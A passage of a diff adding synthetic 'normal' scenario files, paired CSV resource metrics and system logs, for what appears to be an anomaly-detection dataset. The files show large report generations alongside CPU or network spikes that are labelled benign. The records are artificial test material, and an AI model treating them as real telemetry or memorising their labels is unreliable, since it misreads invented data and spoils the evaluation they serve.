+Aug 21 10:02:25 web-app[2531]: GET /api/v1/user/45 status=200 OK +Aug 21 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 21 10:02:55 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:03:00 web-app[2531]: GET /api/v1/user/45 status=200 OK +Aug 21 10:03:20 systemd[1]: Starting daily clean up activities... +Aug 21 10:03:35 web-app[2531]: GET /api/v1/user/45 status=200 OK +Aug 21 10:04:10 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:04:10 systemd[1]: Starting daily clean up activities... +Aug 21 10:04:10 web-app[2531]: GET /api/v1/user/45 status=200 OK +Aug 21 10:04:45 web-app[2531]: GET /api/v1/user/45 status=200 OK +Aug 21 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 21 10:05:20 web-app[2531]: GET /api/v1/user/45 status=200 OK +Aug 21 10:05:25 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:05:50 systemd[1]: Starting daily clean up activities... +Aug 21 10:05:55 web-app[2531]: GET /api/v1/user/45 status=200 OK +Aug 21 10:06:30 web-app[2531]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Aug 21 10:06:40 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:06:40 systemd[1]: Starting daily clean up activities... +Aug 21 10:07:05 web-app[2531]: GET /api/v1/user/45 status=200 OK diff --git a/norm_dataset/scenario_10/norm_10_13.csv b/norm_dataset/scenario_10/norm_10_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..a0073764911deaa4a49efd5c7215ba90d29790e0 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,18.07,42.43,16.18,1.19,1.23 +2025-07-02T12:00:05Z,18.07,43.33,14.1,1.14,0.84 +2025-07-02T12:00:10Z,19.66,38.18,18.11,1.34,1.07 +2025-07-02T12:00:15Z,15.2,42.83,15.3,0.91,1.14 +2025-07-02T12:00:20Z,12.14,41.84,13.55,0.96,0.99 +2025-07-02T12:00:25Z,17.92,42.7,15.89,0.83,1.04 +2025-07-02T12:00:30Z,11.76,44.1,12.47,1.41,1.12 +2025-07-02T12:00:35Z,10.91,40.24,15.12,0.97,1.2 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+2025-07-02T12:07:20Z,15.45,35.0,19.65,1.17,0.98 +2025-07-02T12:07:25Z,13.09,35.0,19.69,1.34,1.19 diff --git a/norm_dataset/scenario_10/norm_10_13.log b/norm_dataset/scenario_10/norm_10_13.log new file mode 100644 index 0000000000000000000000000000000000000000..9c68865b76577c0db2847199868733752dd73bb4 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_13.log @@ -0,0 +1,14 @@ +Jul 02 11:59:59 systemd[1]: Starting daily user session clean up... +Jul 02 12:00:14 web-app[1234]: GET /api/v1/status status=200 OK +Jul 02 12:01:15 web-app[1234]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Jul 02 12:01:40 kubelet[2345]: INFO: Liveness probe succeeded for pod web-app-7b8c9d4f5-xyz12 +Jul 02 12:02:05 web-app[1234]: INFO: Aggregating quarterly data. +Jul 02 12:02:30 db-connector[4567]: INFO: Querying sales_records table for account 'ACME Corp'. +Jul 02 12:03:20 kubelet[2345]: INFO: Liveness probe succeeded for pod web-app-7b8c9d4f5-xyz12 +Jul 02 12:03:45 db-connector[4567]: INFO: Querying sales_records table for account 'ACME Corp'. +Jul 02 12:04:10 web-app[1234]: INFO: Aggregating quarterly data. +Jul 02 12:05:00 db-connector[4567]: INFO: Querying sales_records table for account 'ACME Corp'. +Jul 02 12:05:00 kubelet[2345]: INFO: Liveness probe succeeded for pod web-app-7b8c9d4f5-xyz12 +Jul 02 12:06:15 web-app[1234]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Jul 02 12:06:17 web-app[1234]: GET /api/v1/download/report-a4b1c2d3.xlsx status=200 OK +Jul 02 12:06:40 kubelet[2345]: INFO: Liveness probe succeeded for pod web-app-7b8c9d4f5-xyz12 diff --git a/norm_dataset/scenario_10/norm_10_14.csv b/norm_dataset/scenario_10/norm_10_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..34f065c2f8fc935991e930e865b078a0dc2fbe6d --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,14.13,34.75,35.35,1.41,0.77 +2025-08-15T10:00:05Z,20.97,32.44,42.94,0.87,0.58 +2025-08-15T10:00:10Z,11.3,34.28,29.15,0.91,0.64 +2025-08-15T10:00:15Z,15.78,36.82,28.13,0.66,0.88 +2025-08-15T10:00:20Z,15.38,31.94,33.74,0.94,0.8 +2025-08-15T10:00:25Z,13.66,33.05,26.01,1.16,0.91 +2025-08-15T10:00:30Z,15.3,35.67,32.86,0.94,0.73 +2025-08-15T10:00:35Z,15.39,39.15,32.64,1.14,0.93 +2025-08-15T10:00:40Z,14.74,34.79,35.98,0.88,0.94 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+2025-08-15T10:07:25Z,19.73,40.49,23.43,1.02,0.83 diff --git a/norm_dataset/scenario_10/norm_10_14.log b/norm_dataset/scenario_10/norm_10_14.log new file mode 100644 index 0000000000000000000000000000000000000000..210632744df2c9ec335326e9bf8e4b00ee259f0f --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_14.log @@ -0,0 +1,24 @@ +Aug 15 10:00:00 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:00:00 systemd[1]: INFO Starting daily health check... +Aug 15 10:00:25 web-app[4567]: GET /api/v1/user/health status=200 OK +Aug 15 10:00:50 systemd[1]: INFO Starting daily health check... +Aug 15 10:01:00 web-app[4567]: GET /api/v1/user/health status=200 OK +Aug 15 10:01:20 web-app[4567]: INFO User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Aug 15 10:01:25 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:01:40 systemd[1]: INFO Starting daily health check... +Aug 15 10:02:10 web-app[4567]: INFO [ReportGen] Querying database for records between 2024-01-01 and 2025-08-15... +Aug 15 10:02:30 systemd[1]: INFO Starting daily health check... +Aug 15 10:02:50 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:03:20 systemd[1]: INFO Starting daily health check... +Aug 15 10:03:25 web-app[4567]: INFO [ReportGen] Data fetch complete. 2,150,890 records retrieved. Starting processing. +Aug 15 10:03:45 web-app[4567]: INFO [ReportGen] Writing temporary processed data to /tmp/report_data_20250815100145.tmp +Aug 15 10:04:10 systemd[1]: INFO Starting daily health check... +Aug 15 10:04:15 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:05:00 systemd[1]: INFO Starting daily health check... +Aug 15 10:05:40 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:05:50 systemd[1]: INFO Starting daily health check... +Aug 15 10:05:55 web-app[4567]: INFO Report generation for 'john.doe' complete. File size: 150MB. +Aug 15 10:06:40 systemd[1]: INFO Starting daily health check... +Aug 15 10:06:40 web-app[4567]: GET /api/v1/user/health status=200 OK +Aug 15 10:07:05 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:07:20 web-app[4567]: GET /api/v1/user/health status=200 OK diff --git a/norm_dataset/scenario_10/norm_10_15.csv b/norm_dataset/scenario_10/norm_10_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..f450a251951407067a8a28a435258d8e1d618e97 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-21T10:00:00Z,14.42,33.56,12.36,0.91,0.64 +2025-08-21T10:00:05Z,18.98,32.92,11.13,0.66,0.88 +2025-08-21T10:00:10Z,12.53,36.43,8.37,0.94,0.8 +2025-08-21T10:00:15Z,15.52,34.28,8.71,1.16,0.91 +2025-08-21T10:00:20Z,15.25,33.05,10.07,0.94,0.73 +2025-08-21T10:00:25Z,14.11,37.17,12.67,1.14,0.93 +2025-08-21T10:00:30Z,15.2,32.18,9.83,0.88,0.94 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+2025-08-21T10:07:15Z,17.38,30.0,9.06,1.02,20.42 +2025-08-21T10:07:20Z,16.13,30.0,15.0,0.87,25.0 +2025-08-21T10:07:25Z,12.18,30.0,8.05,0.68,15.75 diff --git a/norm_dataset/scenario_10/norm_10_15.log b/norm_dataset/scenario_10/norm_10_15.log new file mode 100644 index 0000000000000000000000000000000000000000..4fda59746c59dfac3bdcdc747cefe9eb61582890 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_15.log @@ -0,0 +1,10 @@ +Aug 21 10:00:00 systemd[1]: Starting daily user session cleanup... +Aug 21 10:00:25 web-app[2345]: GET /api/v1/user/settings status=200 OK +Aug 21 10:00:50 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 10:01:15 web-app[2345]: INFO: User 'jane.smith' requested full-history report for account 'Global Tech Inc.'. Starting generation... +Aug 21 10:02:30 kubelet[123]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:03:45 web-app[2345]: GET /api/v1/status status=200 OK +Aug 21 10:05:00 kubelet[123]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 10:06:15 web-app[2345]: INFO: Report generation for 'jane.smith' complete. File size: 150MB. +Aug 21 10:06:20 web-app[2345]: GET /download/report/a7b3c9d1-e2f3-4a5b-8c6d-7e8f9a0b1c2d.xlsx status=200 OK +Aug 21 10:07:05 systemd[1]: Finished daily user session cleanup. diff --git a/norm_dataset/scenario_10/norm_10_16.csv b/norm_dataset/scenario_10/norm_10_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..6b3248b5997fb2490e68b5547b09dcca31dd76bd --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,19.33,42.46,25.01,0.94,1.47 +2025-08-22T10:00:05Z,10.9,36.58,30.01,0.71,0.93 +2025-08-22T10:00:10Z,12.77,44.63,20.17,1.2,0.72 +2025-08-22T10:00:15Z,13.78,37.6,30.41,1.02,1.43 +2025-08-22T10:00:20Z,16.34,40.89,23.59,1.24,1.4 +2025-08-22T10:00:25Z,10.25,35.39,27.14,0.77,1.42 +2025-08-22T10:00:30Z,15.48,37.75,21.07,0.87,0.67 +2025-08-22T10:00:35Z,12.92,35.89,36.38,1.39,1.14 +2025-08-22T10:00:40Z,10.49,43.6,32.52,0.54,0.57 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+2025-08-22T10:07:25Z,12.0,43.92,37.67,0.8,0.85 diff --git a/norm_dataset/scenario_10/norm_10_16.log b/norm_dataset/scenario_10/norm_10_16.log new file mode 100644 index 0000000000000000000000000000000000000000..e18c38a406ddc0e30fd68a5270989b1bce03b34b --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_16.log @@ -0,0 +1,177 @@ +Aug 22 10:00:00 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:00:02 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:00:04 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:00:05 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:00:08 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:09 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:00:12 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:00:13 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:00:14 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:00:17 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:00:20 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:22 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:00:25 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:00:28 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:00:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:31 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:34 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:00:36 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:38 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:00:40 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:43 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:00:46 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:49 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:00:51 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:53 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:00:56 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:00:58 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:01:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:01:03 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:04 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:01:07 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:08 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:09 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:10 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:01:13 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:01:16 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:18 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:21 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:01:22 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:01:23 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:01:24 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:27 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:30 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:01:33 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:35 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:37 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:38 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:01:39 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:41 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:42 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:01:43 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:01:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:01:47 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:01:49 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:01:50 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:53 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:00 web-app[1234]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Aug 22 10:02:08 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:02:09 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:02:12 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:02:13 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:02:14 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:16 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:02:19 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:02:20 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:02:22 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:02:24 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:25 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:28 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:02:31 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:02:32 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:02:34 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:37 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:02:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:41 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:02:42 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:02:44 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:02:47 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:49 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:02:51 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:52 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:02:55 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:02:56 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:02:57 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:03:00 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:03:03 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:04 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:03:06 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:03:09 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:10 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:12 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:03:18 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:03:19 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:03:23 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:03:24 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:26 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:03:28 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:29 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:03:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:33 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:34 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:37 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:03:38 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:40 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:03:43 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:03:44 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:46 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:47 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:03:50 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:03:51 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:03:52 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:54 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:03:58 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:04:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:03 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:04:05 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:08 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:10 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:04:11 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:04:12 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:04:13 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:04:16 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:04:18 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:19 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:20 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:04:23 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:04:25 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:27 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:04:29 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:04:32 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:35 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:04:36 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:37 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:39 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:40 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:04:43 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:04:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:46 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:04:49 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:04:51 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:52 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:04:55 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:56 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:58 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:05:00 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:05:01 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:05:02 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:04 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:06 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:07 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:08 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:05:11 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:05:12 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:14 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:05:17 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:05:20 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:05:21 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:05:24 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:05:26 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:28 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:29 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:05:31 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:05:33 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:05:34 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:05:37 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:40 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:05:42 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:05:43 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:45 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 22 10:05:46 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:05:48 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:05:49 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:06:00 web-app[1234]: INFO: Report generation for 'john.doe' complete. File size: 150MB. diff --git a/norm_dataset/scenario_10/norm_10_17.csv b/norm_dataset/scenario_10/norm_10_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..629fecdc99e180a1eaa9d017e34bcd7ec72374b8 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:30:00Z,13.63,44.12,33.99,0.98,1.49 +2025-08-22T10:30:05Z,17.85,35.85,21.99,1.32,0.95 +2025-08-22T10:30:10Z,15.38,40.28,30.0,0.58,1.15 +2025-08-22T10:30:15Z,13.6,35.99,27.55,1.12,0.76 +2025-08-22T10:30:20Z,11.17,41.14,23.96,1.14,1.27 +2025-08-22T10:30:25Z,11.53,37.19,31.67,0.78,0.88 +2025-08-22T10:30:30Z,11.75,44.25,38.84,1.26,0.66 +2025-08-22T10:30:35Z,15.88,41.74,30.89,0.91,1.04 +2025-08-22T10:30:40Z,17.3,44.66,38.13,1.39,1.15 +2025-08-22T10:30:45Z,15.65,39.75,26.69,0.86,0.53 +2025-08-22T10:30:50Z,11.61,43.42,27.04,1.03,1.1 +2025-08-22T10:30:55Z,15.22,35.89,24.26,0.57,1.27 +2025-08-22T10:31:00Z,12.38,42.97,28.47,0.92,1.41 +2025-08-22T10:31:05Z,10.99,44.5,22.22,0.92,1.02 +2025-08-22T10:31:10Z,12.57,40.02,35.33,0.83,1.4 +2025-08-22T10:31:15Z,10.92,44.01,34.38,0.78,0.55 +2025-08-22T10:31:20Z,18.71,36.71,21.03,1.03,0.92 +2025-08-22T10:31:25Z,19.47,41.29,26.99,1.06,1.22 +2025-08-22T10:31:30Z,10.23,35.93,22.09,0.99,1.43 +2025-08-22T10:31:35Z,10.74,44.75,32.88,1.14,0.63 +2025-08-22T10:31:40Z,97.26,45.4,46.26,1.5,1.07 +2025-08-22T10:31:45Z,97.71,45.71,48.3,0.75,0.86 +2025-08-22T10:31:50Z,96.32,45.99,44.01,0.82,1.36 +2025-08-22T10:31:55Z,98.43,47.52,42.07,0.64,1.27 +2025-08-22T10:32:00Z,97.02,50.13,40.94,1.4,1.3 +2025-08-22T10:32:05Z,98.84,49.2,42.92,1.18,0.54 +2025-08-22T10:32:10Z,96.22,50.61,55.99,0.54,1.23 +2025-08-22T10:32:15Z,96.77,52.0,53.78,1.37,1.45 +2025-08-22T10:32:20Z,98.12,51.58,55.41,0.62,0.54 +2025-08-22T10:32:25Z,95.1,51.38,40.37,1.17,1.18 +2025-08-22T10:32:30Z,97.91,53.88,40.71,1.29,0.93 +2025-08-22T10:32:35Z,99.09,52.63,51.88,1.44,1.1 +2025-08-22T10:32:40Z,96.4,55.5,52.13,0.7,0.94 +2025-08-22T10:32:45Z,98.12,57.38,56.54,1.09,0.6 +2025-08-22T10:32:50Z,96.44,57.31,54.36,1.24,1.05 +2025-08-22T10:32:55Z,99.1,55.61,56.7,0.66,1.22 +2025-08-22T10:33:00Z,98.9,59.9,44.92,1.14,0.92 +2025-08-22T10:33:05Z,99.97,60.29,52.23,1.36,1.04 +2025-08-22T10:33:10Z,99.93,59.34,52.78,1.25,0.92 +2025-08-22T10:33:15Z,98.09,58.7,50.97,0.95,0.58 +2025-08-22T10:33:20Z,99.58,59.45,88.23,0.96,1.29 +2025-08-22T10:33:25Z,95.2,62.51,93.23,0.62,1.4 +2025-08-22T10:33:30Z,99.64,62.31,86.03,1.34,0.63 +2025-08-22T10:33:35Z,96.21,63.77,87.02,1.38,0.72 +2025-08-22T10:33:40Z,98.87,64.65,86.67,0.76,1.15 +2025-08-22T10:33:45Z,97.77,66.52,94.01,1.39,1.48 +2025-08-22T10:33:50Z,95.42,65.63,85.6,1.18,0.51 +2025-08-22T10:33:55Z,96.39,68.22,88.68,1.49,0.98 +2025-08-22T10:34:00Z,95.65,68.46,87.08,0.64,1.43 +2025-08-22T10:34:05Z,96.73,68.1,87.1,1.27,1.17 +2025-08-22T10:34:10Z,96.44,69.61,50.85,1.41,1.28 +2025-08-22T10:34:15Z,98.68,71.98,44.8,0.98,0.89 +2025-08-22T10:34:20Z,99.51,72.08,41.87,0.75,0.96 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0000000000000000000000000000000000000000..0678d21c22d9f02c4668a635c4c29f426f96c47b --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_17.log @@ -0,0 +1,10 @@ +Aug 22 10:30:10 web-app[2235]: GET /api/v1/dashboard status=200 OK +Aug 22 10:30:40 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:31:15 web-app[2235]: GET /api/v1/settings status=200 OK +Aug 22 10:31:45 web-app[2235]: INFO: User 'jane.smith' requested full-history report for account 'Global Exports'. Starting generation... +Aug 22 10:32:20 web-app[2235]: INFO: Report 'Global Exports': Fetching data from primary database... +Aug 